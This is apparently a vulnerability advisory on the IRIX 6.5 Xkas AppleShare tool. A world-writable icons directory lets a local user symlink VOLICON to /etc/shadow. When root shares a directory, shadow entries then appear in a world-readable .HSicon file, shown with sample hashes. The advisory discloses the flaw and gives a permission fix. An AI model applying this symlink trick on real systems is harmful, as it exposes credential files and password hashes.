[ Hackerslab bug_paper ] Xkas application vulnerability

[s96192 () ce hannam ac kr]

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       [ Hackerslab bug_paper ] Xkas application vulnerability

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File   : /usr/etc/appletalk/xkas application

SYSTEM : tested irix 6.5

INFO :

Xkas is a server administration tool for appleshare. Misconfiguration by the user with the root privilege could lead to 
a serious security vulnerability.

.HSResource directory and .HSicon file is created when sharing a directory. 
Creation of the HSicon file is accomplished by copying the /var/adm/appletalk/icons/VOLICON file. A problem occurs 
during this process because the permission of /var/adm/appletalk/icons directory is set to 777 (world-writeable).
Link the wanted file with VOLICON like the following.

$ ls -al /var/adm/appletalk/icons
total 8
drwxrwxrwx    4 root     sys           57 Jan 25 03:12 .
drwxr-xr-x    6 root     sys         4096 Jan 24 16:05 ..
drwxr-xr-x    2 root  sys           9 Jan 25 03:12 .HSResource
lrwxr-xr-x    1 loveyou  user          11 Jan 25 03:05 VOLICON -> /etc/shadow

When the administrator uses the /usr/etc/appletalk/xkas directory to share the root  directory, the following files are 
created in the root.
$ ls -al /
total 17099
drwxr-xr-x   37 root     sys          4096 Jan 25 03:30 .
drwxr-xr-x   37 root     sys          4096 Jan 25 03:30 ..
drwxr-xr-x    2 root     sys             9 Jan 25 03:30 .HSResource
-rw-r--r--    1 root     sys           786 Jan 25 03:30 .HSicon  
(etc..)

$ cat /.HSicon
root:y7floveyous30I:10908::::::
bin:yxaiFduxixe8s:11127::::::
uucp:*:11127::::::
sys:*:11127::::::
adm:*:11127::::::
loveyou:mXaa2jxi/ejY:10877::::::
(etc..)

SOLUTION :
Remove other-write permission, contact your vendor and get a patch.
$ su -
# chmod o-w /var/adm/appletalk/icons

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       *********
   *    **   **    *
 *      **   **      *
*       *******       *                                          Kim Yong-Jun
 *      **   **      *                                 loveyou () hackerslab org
   *    **   **    *                           [  http://www.hackerslab.org ]
       *********            HACKERSLAB (C)  since 1999
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